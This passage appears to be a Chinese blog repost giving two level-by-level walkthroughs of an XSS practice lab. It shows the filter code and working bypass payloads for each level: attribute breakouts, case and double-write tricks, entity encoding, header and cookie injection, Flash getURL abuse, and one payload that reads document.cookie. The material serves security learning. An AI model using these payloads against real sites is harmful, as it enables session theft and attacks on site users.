xss脚本绕过限制的方法

第一关:第一关比较简单,直接写入标签就可以,这里不多说了,payload如下: http://sqler.win/xss/level1.php?name=test%3Csvg/onload=alert(1)%3E

第二关: 第二关是比较典型的搜索框XSS,搜索内容直接写入input标签内,这里有很多种XSS的方式,我的payload是http://sqler.win/xss  /level2.php?keyword=test%22%3E%3Csvg/onload=alert(1)%3E

第三关:这一关无论是"还是<>都跳不出value标签,故我们尝试别的特殊字符,发现‘号可以跳出标签,故构造以下payload: http://sqler.win/xss/level3.php?keyword=try%20harder!%27onmouseover=%27alert(1)%27

第四关: 这一关过滤了 < 和 >,用 " 闭合value标签,网站防火墙过滤了onmouseover,故换一个on事件执行,我选取的是 onfocus,payload如下: http://sqler.win/xss/level4.php?keyword=1%22%20onfocus=alert(1)%20autofocus=%22&submit=%E6%90%9C%E7%B4%A2

第五关:这一关检测到 on 就会转义成o_n,故On事件执行不了,网站防火墙拦截了img和script标签,我的办法是闭合标签后,写入超链接,点击触发。 http://sqler.win/xss/level5.php?keyword=1%22%3E%3Ca+href%3D%22javascript%3Aalert%281%29%22%3E&submit=%E6%90%9C%E7%B4%A2

第六关:这一关情况和上一关类似,我们直接用上一关的payload,发现不能执行,看源码,原来是把href转义成了hr_ef,故把href改变大小写,改为hRef,绕过过滤,payload如下: http://sqler.win/xss/level6.php?keyword=break+it+out%22%3E%3Ca+hrEf%3D%22javascript%3Aalert%281%29%22%3E&submit=%E6%90%9C%E7%B4%A2

第七关:这一关相比上一关,只要检测到on,href,src,script等关键字,会直接过滤成空,故采用经典的scrSCRIPTipt方式绕过过滤,故payload如下: http://sqler.win/xss/level7.php?keyword=move+up%22%3E%3Ca/HREHREFF=%22javascriscriptpt:alert(1)%22%3E&submit=%E6%90%9C%E7%B4%A2

第八关:这一关终于不是input标签了,逻辑是输入超链接的链接值,然后后端帮你生成超链接。尝试直接写人 javascript:alert(1) ,系统会把javascript转义成javascr_ipt,故考虑将script做实体编码,将r编码成r提交,payload为: http://sqler.win/xss/level8.php?keyword=javasc%26%23114%3Bipt%3Aalert%281%29&submit=%E6%B7%BB%E5%8A%A0%E5%8F%8B%E6%83%85%E9%93%BE%E6%8E%A5

第九关:和第八关一样的界面,尝试上一关的payload,提示”链接不合法“,猜测一下,可能是规定链接以http://开头才行?故尝试提交 http://test,果然链接写进去了,但是这样如何才能构造javascript语句呢,再测试一下,是不是只要有http://就可以,而不用放 在开头呢,故尝试提交javascript:alert("http://"),果然不提示链接不合法了,但是双引号被编码了,所以故继续实体编码,将一 个第一个双引号编码成",可绕过过滤。此处也可以用两个反单引号`来绕过对”的过滤。payload如下: http://sqler.win/xss/level9.php?keyword=javasc%26%23114ipt%3Aalert%28%26%2334%3Bhttp%3A%2F%2F%22%29&submit=%E6%B7%BB%E5%8A%A0%E5%8F%8B%E6%83%85%E9%93%BE%E6%8E%A5

第十关:又是一种新的形式了,查看源代码,可以发现三个隐藏的input标签,故修改源代码,将type="hidden"改为 type="text",分别输入2,3,4并回车,发现t_sort参数可以写入值,故用"闭合标签,并在input框提交如下参数 “ onmouseover=‘alert(1)‘ type="text",故完整payload如下: http://sqler.win/xss/level10.php?t_link=&t_history=2&t_sort=4%22%20onmouseover=%27alert(2)%27%20type=%22text%22

第十一关: 查看源码:  可以看到t_ref的value是我们访问这个网页的referer值,故可以抓包修改referer,在referer后加入” onmouseover=‘alert(1)‘ type="text"。个人认为这个漏洞的利用可遇不可求,可以百度一下有关referer XSS 的利用方式,我这里采取的是自欺欺人的方式,因为实际情况不可能去抓包修改其他人的referer,自己构造一个可以触发这个漏洞的页面才是正确过关的方 法。这里主要以了解漏洞的原理为主,我采取的是偷懒只图过关的做法。

第十二关: 查看源码,与上一关类似,取了http头部的"User-Agent"参数,思路与上一题一致。

第十三关:  抓包得知,是cookie中的参数传入导致XSS,故此处修改cookie可触发XSS。

第十四关: 查看源码得知,嵌入了一个iframe页面,访问这个网站http://www.exifviewer.org/,是查看图片的EXIF信息的网站,说明这是文件上传图片的XSS。想到上半年补天爆出来的乌云EXIF存储型XSS,传送门: http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0194934.html 漏洞原理是通过修改图片的exif信息,造成解析图片exif触发XSS。利用工具推荐exiftool。题中给的网站我传了一张图片,成功弹窗,解析地址如下: http://www.exifviewer.org/FW/result.php?name=616e8a17b042371baf608c311a9a3d46&tscachebusttamp=1479559371223

第十五关: 这一关题中给的链接有误,正确的链接如下: sqler.win/xss/level15.php?src==1.gif。这一关像是用了Angular Js, 但是这个漏洞不是很熟悉,不能给出payload,大家有兴趣可以自己研究研究。如果大牛有答案带带我。

第十六关:简单测试得出,这一关可以直接写入标签,难点在于过滤了空格,/ 等连接符,故用%0d换行符绕过,可写入标签。payload如下: http://sqler.win/xss/level16.php?keyword=%3Cimg%0dsrc=1%0donerror=alert(2)%3Ealert(2)

第十七关: 这一关,将arg01和arg02的参数分别写入src的值中,并过滤了尖括号,导致不能闭合标签。因为本身是在embed标签中,故考虑,能不能在 arg02中,写入事件来触发XSS。答案是可以的,这里采用onmousedown标签,构造arg02参数的值为 onmousedown=alert(1),点击页面嵌入的swf可触发XSS。完整payload如下: http://sqler.win/xss/level17.php?arg01=a&arg02=%20onmousedown=alert(2)

第十八关:这一关和上一关很类似,但是需要有一点点的转变,经过尝试发现,在arg02参数无论加什么字符都无法构造空格,那转移注意力,尝试arg01,果然,arg01是可以构造的,参考上一关的payload,完整payload如下: http://sqler.win/xss/level18.php?arg01=a%20onmousedown=alert(2)&arg02=b

第十九关:这一关开始是flash xss了,首先下载页面中的flash,对源码进行分析,我用的是JPEXS这款工具。发现是actionscript 2.0,首先定位getURL函数,

sIFR.menuItems.push(new ContextMenuItem("Followlink",function()

{

getURL(sIFR.instance.primaryLink,sIFR.instance.primaryLinkTarget);

}),new ContextMenuItem("Open link in new window",function()

{

getURL(sIFR.instance.primaryLink,"_blank");

}));

再追踪到sIFR的内容,省略了一些代码,关键代码如下:

if(_loc5_ && _root.version != sIFR.VERSION)

{

_loc4_ = sIFR.VERSION_WARNING.split("%s").join(_root.version);

}

得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL 只在内容为link时,打开,故定位以下函数:

function contentIsLink()

{

return this.content.indexOf("<a ") == 0 &&(this.content.indexOf("<a ") ==this.content.lastIndexOf("<a ") &&this.content.indexOf("</a>") == this.content.length - 4);

}

所以构造最终payload,如下:

http://sqler.win/xss/level19.php?arg01=version&arg02=%3Ca%20href=%22javascript:alert(document.domain)%22%3Exss_by_SST%3C/a%3E

点击传入进去的’xss_by_SST‘就可以触发XSS。

第20关:将swf下载下下来分析得知是zeroclipboard.swf , 百度一下,有漏洞详情,构造payload如下:http://sqler.win/xss/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height

level 1

一开始界面上什么都没有,一般是从url上想办法

顺便查一下php代码,

<script> window.alert = function() { confirm("完成的不错!"); window.location.href="level2.php?keyword=test"; } <script>

这里提示你要让网页弹窗即可

那么直接用在url后面的参数上想办法

·http://localhost/xss/level1.php?name=test·

直接把test改成<script>window.alert ()</script> 这样的弹窗脚本即可

level 2

在2中,输入了一传正常的js,<script>alert()</script>,发现可以出现相关代码,但是可以看出来,预定义的字符代码已经被转译成了HTML实体了。

果然 echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".‘<center> <form action=level2.php method=GET> <input name=keyword value="‘.$str.‘"> <input type=submit name=submit value="搜索"/>

从这里可以看出来,预定义的字符代码对于输出的时候用了htmlspecialchars 转换成实体,可是下面的并没有转换,因此,可以从下面的输入框里里面入手,构造闭合语句。

<input name=keyword value="‘.$str.‘">

使用payload:"onclick="window.alert()

形成<input name=keyword value=" "onclick="window.alert()">

输入后成功弹窗

level 3

这里按着上面的也来一下,发现不行

第三关的两个地方都加了htmlspecialchars函数处理,但是htmlspecialchars默认配置是不过滤单引号的。只有设置了:quotestyle,才可以

那么就用单引号来测试

payload :‘onclick=‘window.alert()

构造闭合语句:<input name=keyword value=‘".htmlspecialchars(‘onclick=‘window.alert())."‘>

level 4

这一关,查看源代码发现,多了几个str

ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".‘<center> <form action=level4.php method=GET> <input name=keyword value="‘.$str3.‘"> <input type=submit name=submit value=搜索 />

这里仔细看一下就知道,在这里将输入的内容分别去掉了 <,> ,然后,外围的引号变成了双引号,可以用第三关的payload稍作修改。

payload:·"onclick="window.alert()

构造成:<input name=keyword value="onclick="window.alert()>

level 5

这题输入了上文的代码,会发现变了

‘onclick=‘window.alert()<------变成----->‘o_nclick=‘window.alert()

在on中加上了下划线。

那么应该怎么做 查看代码

$str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".‘<center> <form action=level5.php method=GET> <input name=keyword value="‘.$str3.‘"> <input type=submit name=submit value=搜索 />

发现它把script 和 on 中加入了下划线。

那么鼠标事件,就不能用了。

可以考虑下用链接(href),即在链接中调用js

payload: "><a href="javascript:onclick=alert()">点我就xss</a>

构造:

<input name=keyword value=" "><a href="javascript:onclick=alert()">点我就xss</a>

如此一来,创建了一个"点我就xss"的可点击链接的文本,点击,产生xss

level 6

同样的,输入<script></script>和onclick 都会被加上下划线

同时,href也是

查看源代码$str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5);

还有scr,data,等也是。

然鹅,少了一个函数strtolower(),把所有字符转换为小写。

所以,我们可以用大写!

payload "><A HREF="javascript:alert()">test</a>

level 7

很遗憾啊,第七关的已经加上了strtolower,已经不能用大写绕过了

$str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5);

而且将这几个能用的都转换成空,那么应该怎么办?

要注意

他只是将其转换成空,不像前面的第六题,是加上下划线,那么我们可以尝试双写绕过。

payload :"><scrscriptipt>alert()</scrscriptipt>

on src data href 等也是一样的,大家可以自己尝试哦

level 8

这一题有难了

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script","scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4);

$str6=str_replace("href","hr_ef",$str5);

$str7=str_replace(‘"‘,‘&quot‘,$str6);

<input name=keyword value="‘.htmlspecialchars($str).‘">

<input type=submit name=submit value=添加友情链接 />

?>

<?php

echo ‘<center><BR><a href="‘.$str7.‘">友情链接</a></center>‘;

?>

双引号转换成了“&quot”,而且还将关键字转换了,并且在添加友情链接input内还有htmlspecialchars转换

该怎么做?

注意,这里在友情链接只用了 str7 ,只是将关键字转换了,那么如果用其他的编码的形式呢?是不是可以绕过?因为添加友情链接这里基本用不来了,没戏。

payload javascript:alert()

这里要注意不能把java四个转换编码,因为后台过滤的是script,所以把script其中一个编码一下就好了。

level 9

这题跟上题目差不多,就是在友情链接上多了一点判断

if(false===strpos($str7,‘http://‘)) { echo ‘<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>‘;

若检测不到http则报错

payload javascript:alert(1)/*http://www.baidu.com*/

只要让它检测到http,却不能起到作用就可以了,所以可以用注释。

在上题的payload下,后面加上注释,在注释里面填写http相关即可

level 10

这道题很迷,仔细看下代码就知道,它要get两个参数keyword和t_sort

$str = $_GET["keyword"];

$str11 = $_GET["t_sort"];

而且 keyword参数并没有什么用,t_sort可以进行渗透

那么在$str33这里进行构造语句

<>被转换成空,那么<script>,<src>等也不能用了

在代码中下面有三个隐藏的参数设置,在这里把t_sort的 hidden更改一下成text

payload :t_link=&t_history=&t_sort="onclick="alert()"type="text"

level 11

这道题参考一下代码可以发现,$str11=$_SERVER[‘HTTP_REFERER‘];这里接受了来自上一题的referer,所以,我们可以在第十题转到的第十一题的时候,抓包修改referer,来构造绕过语句。

在出现了 "完成得不错"后,先用burp抓住,然后在头文件内修改referer

payloadt_sort="type="text" onclick="alert(1)

level 12

这题跟上面的一样,只不过是“$str11=$_SERVER[‘HTTP_USER_AGENT‘];”

这次是在user-agent里面修改

payload111"type="text" onclick="alert(1)

后点击页面,通过

level 13

这题看代码setcookie("user", "call me maybe?", time()+3600);可以知道这是cookie绕过了

其他的内容都差不多,抓包修改cookies

payload :cookie:user="type="text" onclick="alert(1)"

level 14

这关成功后不会自动跳转。

level 15

$str = $_GET["src"]; echo ‘<body><span class="ng-include:‘.htmlspecialchars($str).‘"></span></body>‘

AngularJS ng-include指令

ng-include 指令用于包含外部的 HTML 文件。

此题用的是文件包含,那么我们可以让它调用一个evil code执行弹窗啊

payload :src=level1.php?name=1‘window.alert()

level 16

$str = strtolower($_GET["keyword"]); $str2=str_replace("script","&nbsp;",$str); $str3=str_replace(" ","&nbsp;",$str2); $str4=str_replace("/","&nbsp;",$str3); $str5=str_replace(" ","&nbsp;",$str4);

这题把script 、/ 、空格 都转译了,跟前面有一题一样,可以考虑编码和不用script啊

keyword=test,显示在页面中。

使用<a%0dhref="javascript:onclick=alert()">点我就xss</a>

提示说不允许使用。。。

换一个

payload<img%0dsrc=1%0donerror=alert()>

level 17

<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])."

<embed> 标签定义嵌入的内容,比如插件

通过htmlspecialchars 转译了预定义字符

onclick是在鼠标点击弹起之后触发的事件。onmousedown是在鼠标按下之后触发的事件

这里我用onclick不行,onmousedown可以。。

payload arg01=a&arg02=b%20onclick=alert()

level 18

这题跟上面的差不多

却在arg02不可以。。。。迷

谁知道原因的。。能告诉我嘛

在arg01处进行payload

http://localhost/xss/level18.php?arg01=a%20onmousedown=alert()&arg02=b

作者:残阳泼茶香
链接:https://www.jianshu.com/p/06c644dafa0d
來源:简书
简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。

原文地址:https://www.cnblogs.com/lgf01010/p/9547449.html

时间: 2024-10-18 19:29:41

xss脚本绕过限制的方法的相关文章

第二百六十五节,xss脚本攻击介绍

xss脚本攻击介绍 Cross-Site Scripting(XSS)是一类出现在 web 应用程序上的安全弱点,攻击者可以通过 XSS 插入一 些代码,使得访问页面的其他用户都可以看到,XSS 通常是可以被看作漏洞的.它允许攻击者绕过安全机 制,通过尝试各种不同的方法插入恶意代码,攻击者可以得到敏感页面的权限,会话,cookies,或者其 他的东西,XSS 分为三类 XSS 分类: 非持久性,持久性和基于 Dom(此类可以是持久的,也可以是不持久的) 非持久性: 非持久性 XSS 也被称为反射

【转】WAF指纹识别和XSS过滤器绕过技巧

原文链接 http://www.cnblogs.com/r00tgrok/p/Bypass_WAF_and_XSS_Filter_And_Fingerprinting.html [译文] -- “Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters” 0x1 前言 之前在乌云drops上看到一篇绕过WAF跨站脚本过滤器的一些技巧,是从国外的一篇paper部分翻译过来的,可以说文章摘取了原文核心的代码部分

XSS插入绕过一些方式总结

详见:http://blog.csdn.net/keepxp/article/details/52054388 1 常规插入及其绕过 1.1 Script 标签 绕过进行一次移除操作: <scr<script>ipt>alert("XSS")</scr<script>ipt> Script 标签可以用于定义一个行内的脚本或者从其他地方加载脚本: <script>alert("XSS")</script

XSS脚本攻击漫谈

XSS跨站脚本攻击一直都被认为是客户端  Web安全中最主流的攻击方式.因为  Web环境的复杂性以及 XSS跨站脚本攻击的多变性,使得该类型攻击很难彻底解决.那么,XSS跨站脚本攻击具体攻击行为是什么,又该如何进行有效的防范呢?本文对此进行了有针对性的具体实例分析.跨站脚本攻击(Cross Site Scripting)是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的 HTML代码,从而盗取用户资料.利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方

xss脚本攻击

xss脚本攻击不仅仅只是alert(1)就算完了,xss脚本攻击真正的用处是盗取普通用户的cookie,或者盗取管理员的cookie. xss分类(类型): 1. 反射型xss 2. 存储型xss 3. DOM型xss xss分类(代码): 1.js代码中xss 2.事件中的xss 3.html中的xss 4.外部引入xss 说到外部引入,讲一下同源策略与跨域请求 同源策略: 由Netscape提出的一个著名的安全策略,现在所有支持JavaScript 的浏览器都会使用这个策略,所谓同源是指:协

SpringBoot过滤XSS脚本攻击

XSS攻击是什么 XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中. 简而言之,就是作恶用户通过表单提交一些前端代码,如果不做处理的话,这些前端代码将会在展示的时候被浏览器执行. 如何避免XSS攻击 这里我根据个人经验做一个总结,可能经验也有不足之处.我个人解决XSS攻击是通过后端转译的办法来解决的

Linux中执行shell脚本的4种方法

这篇文章主要介绍了Linux中执行shell脚本的4种方法总结,即在Linux中运行shell脚本的4种方法,需要的朋友可以参考下. bash shell 脚本的方法有多种,现在作个小结.假设我们编写好的shell脚本的文件名为hello.sh,文件位置在/root/bin目录中并已有执行权限(添加权限的方法:chmod +x hello.sh). 方法一:切换到shell脚本所在的目录(此时,称为工作目录)执行shell脚本: ./ 的意思是说在当前的工作目录下执行hello.sh.如果不加上

linux c程序中获取shell脚本输出的实现方法

linux c程序中获取shell脚本输出的实现方法 1. 前言Unix界有一句名言:“一行shell脚本胜过万行C程序”,虽然这句话有些夸张,但不可否认的是,借助脚本确实能够极大的简化一些编程工作.比如实现一个ping程序来测试网络的连通性,实现ping函数需要写上200~300行代码,为什么不能直接调用系统的ping命令呢?通常在程序中通过 system函数来调用shell命令.但是,system函数仅返回命令是否执行成功,而我们可能需要获得shell命令在控制台上输出的结果.例如,执行外部

Sublime Text 2 运行 Python 脚本中文路径解决方法

在 SublimeText 中直接运行 Python 脚本,出现以下报错提示: Running python -u C:\Documents and Settings\Administrator\桌面\furl.py Traceback (most recent call last): File ".\sublime_plugin.py", line 340, in run_ return self.run(**args) File ".\exec.py", lin